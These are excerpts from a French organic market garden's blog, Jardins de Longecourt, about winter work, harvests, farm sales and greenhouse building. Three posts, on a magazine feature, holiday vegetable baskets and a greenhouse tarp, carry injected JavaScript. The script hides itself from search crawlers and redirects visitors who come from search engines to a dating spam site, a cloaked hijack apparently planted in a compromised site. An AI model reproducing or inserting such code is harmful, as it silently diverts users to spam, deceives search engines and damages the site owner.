Bonne année bien sur

La reprise 2021 est lancée, après quelques jours de repos bienvenus, nous avons enfilé nos quelques épaisseurs de rigueur par ce mois de janvier glacé et retrouvé avec plaisir le jardin en version gelé.Le froid fige le sol et nous permet tout de même de pouvoir travaillé au sec et sans boue, ce qui fait du bien, vraiment du bien! Le moral est bon, les chantiers avancent enfin et nous libèrent l'esprit, les fraises sont plantées sous le nouveau tunnel, les récoltes de verdures d'hiver sont en cours, les portes de serre endommagées suite à la dernière tempête sont remplacées, la reprise de la vente à la ferme saison 6 est engagée,  le plan de culture 2021 est amorcé et la compta en bonne voie d'être clôturé! On tient le bout bout, on sait ce qu'on laisse derrière nous (et on s'en rappellera de cette année 2020) on va tenter de donner le meilleur pour 2021, avec vous à nos côtés, de...
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Les travaux d’hiver

Les travaux d’hiver

2020 se termine à peine que c'est déjà le branle bas de combat pour ranger, nettoyer et hiverner tout le matériel utilisé cette saison (toile tissée, goutte à goutte, tuyaux, et autre outils utiles au maraîcher égaré par ci par là..), on fait le point sur ce qui s’abîme et ce qu'il faut réparer et racheter pour ..la saison suivante! Ça ne s’arrêtera donc jamais! Et pour préparer la saison suivante on prend soin aussi d’offrir un joli et bénéfique couvert végétal à notre terre pour l'hiver. Parce qu'un sol nu çà n'existe pas, nous semons à la volée sur les planches récoltées et que nous avons pu travailler un engrais vert, mélange à base de céréales, pois et/ou légumineuses acheté aux agriculteurs bio du coin. En poussant à la fin de l'automne et en restant en place tout l'hiver cela couvre le sol et permet entre autre de décompacter les sols lourds, de favoriser la vie du sol et de faire...
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On hiverne!

Cette semaine, les Jardins de Longecourt, se mettent en mode hivernage. Dernière semaine de travail pour Antoine qui aura fait sa deuxième saison avec nous, arrêt du marché de Pouilly et fermeture de la vente du samedi matin, fin de stage pour Laura, Fabienne et Simon qui retournent en formation! On calme le rythme, mais pourquoi?! Parce qu'on en a besoin, le métier de maraîcher est merveilleux pour de nombreuses raisons... mais surtout parce qu'il se cale sur le rythme saisonnier, notre rythme s'aligne avec le soleil, en été on commence tôt et on termine tard et en hiver on réduit le volume horaire (et on en profite pour soigner nos divers maux de dos!!). La saison 2020 a commencé tôt en raison du confinement et a été chargée entre la rénovation du bâtiment et l'activité maraîchère. Parce que la variété et la quantité de légumes au jardin est moins importante en hiver qu'en été Parce que nous nous engageons à livrer en priorité...
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La moitié!

Le chantier participatif de l'année 2020 est terminé! snif, on adore ça nous voir du monde au jardin! Promis on en refait un l'année prochaine! (et cette fois on espère bien fêter ça autour d'un repas en musique sans que des virus ne nous en empêche) Cette édition 2020 s'est réalisée dans de bonnes conditions, le terrain avait suffisamment séché pour que la machine puisse soulever les carottes et soulager la tache des maraîchers d'un jour, la pluie nous a laissé travailler et surtout y a PLEIN DE CAROTTES!! Nous avons ensuite célébré la tache à demi réalisée autour d'un bon goûter à base de gâteau...à la carotte et de chocolat chaud pour se réchauffer les mains! Les caisses ont été rangées le lendemain et les carottes seront lavées et préparées avant chaque vente durant l'hiver Le reste des planches sera récolté la semaine suivante avec les futurs maraîchers et maraîchères en formation  BPREA (brevet professionnel d'exploitant agricole) du CFPPA de Plombières- Quetigny, chic! Reste...
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31 juillet animé!

Ce vendredi 31 juillet, nous avons le plaisir d’accueillir l'altertour aux jardins de Longecourt, 70 cyclistes qui organisent un tour itinérant pour la transition écologique et sociale, pour plus d'infos c'est par ici Ciné cyclo participe à la journée grâce à l’altertour. L'association vient poser ses machines pour qu'en pédalant nous puissions profiter d'une séance ciné en plein air, ce vendredi 31 juillet à 22h (rdv place de la mairie, prévoyez de quoi vous installez confortablement c'est sur l"herbe et de quoi boire!), entrée gratuite (2 court métrages et 2 films sur la thématique environnement et agriculture) Nous saluons l'initiative de la ferme de la Mouillote, Hameau de Sivry à Voudenay et participons à leur marché de producteurs le 31 juillet et le 4 septembre, de 17h à 21h ...
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Tout seul on fait pas grand chose

Tout seul on fait pas grand chose

Saison 5 de la vente à la ferme Nous avons la chance d'avoir autour de nous d'autres producteurs, et quand le maraîcher sort de son champ pour vendre le fruit de son travail,  il est content de partager la place avec les collègues. Parce qu'on rigole bien, on partage des valeurs communes et qu'en plus on peut en profiter pour faire les courses à domicile!! La saison 5  de la vente à la ferme reprend une forme un peu plus normale dès le 2 juillet, Venez, on vous expliquera, on a trouvé de bonnes idées! Jeudi 17h30-19h (commandes+marché, pain, oeufs, fromage, légumes...) Samedi 9h30-12h (marché uniquement, légumes+oeufs)       ...
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la ferme sur papier glacé!

Cet hiver, nous en avons profité pour nous exposer au feu des projecteurs de Bourgogne Magazine, qui consacre son dernier numéro au pays Arnétois, ça fait du bien, ça change des légumes même si ils n'étaient pas très loin! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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C’est les vacances, pour nous!

Nous partons en vacances, mais heureusement un service de remplacement est assuré pour le jeudi 25 octobre! Il n'y aura pas de marché mais uniquement des paniers déjà constitués à 10€ avec: 700 gr de pomme de terre 300 gr de radis d'hiver 300gr d'épinard 140 gr de mache 200 gr de carotte 6oo gr de tomates 220 gr d’échalote Vous pouvez passer le récupérer aux heures habituelles de 17h30 à 19h, en passant commande par sms au 06 71 82 10 87 ou par mail, Merci!var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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le jardin au 10 avril… verdure!

le jardin au 10 avril… verdure!

Dans les serres ça se porte pas trop mal, les verdures (salades, mesclun, roquette... cotes de blette) se portent à merveille, les pois gourmands, les carottes, les navets primeurs, les betteraves, les pommes de terre font leur bout de chemin aussi, doucement mais assurément quand même! Dehors, ça a été bien la galère pour préparer le terrain, certains légumes sont implantés sur des planches pas très belles et assez enherbées, mais les légumes pleins champs sont quand même en place: choux, fenouil, épinards, salades, fèves, pommes de terre et carottes précoces n'attendent que le soleil et les coups de main du maraîcher pour pousser correctement! La plupart sous leur couverture printanière pour gagner quelques degrés... Les oignons eux patientent patientent dans leur caisse, bien plus sagement que le maraîcher d'ailleurs qui rêve de pouvoir les planter... mais le terrain qui leur est destiné dans la rotation n'est pas encore assez sec pour travailler le sol... alors c'est dur dur! en espérant que...
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Nouvelle serre… la B(v)âche!

Nouvelle serre… la B(v)âche!

Après avoir monté toute la structure de la nouvelle serre (et boulonné boulonné et vissé vissé!!) il fallait trouver un créneau pour l'installation de la bâche de couverture... et le timing était serré parce que les premières tomates 2018 devaient être mises en place à partir du mercredi 11 avril... Les créneaux météo n'étant pas trop favorables il a fallut faire cela samedi 7, donc juste à temps! Mais le vent s'est invité pendant le chantier et c'était chaud chaud chaud... 700 m2 de voilure, c'est plus qu'un trimaran spécial tour du monde! Après quelques frayeurs et quelques trous tout de même dans la bâche nous avons quand même réussi à l'installer! Merci à la superbe équipe qui était présente aux jardins pour ce chantier qui nous permet d'atteindre quelques 1500m2 de surface couvertes... en espérant donc de belles tomates mais aussi de bon légumes automnaux et printaniers! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { ...
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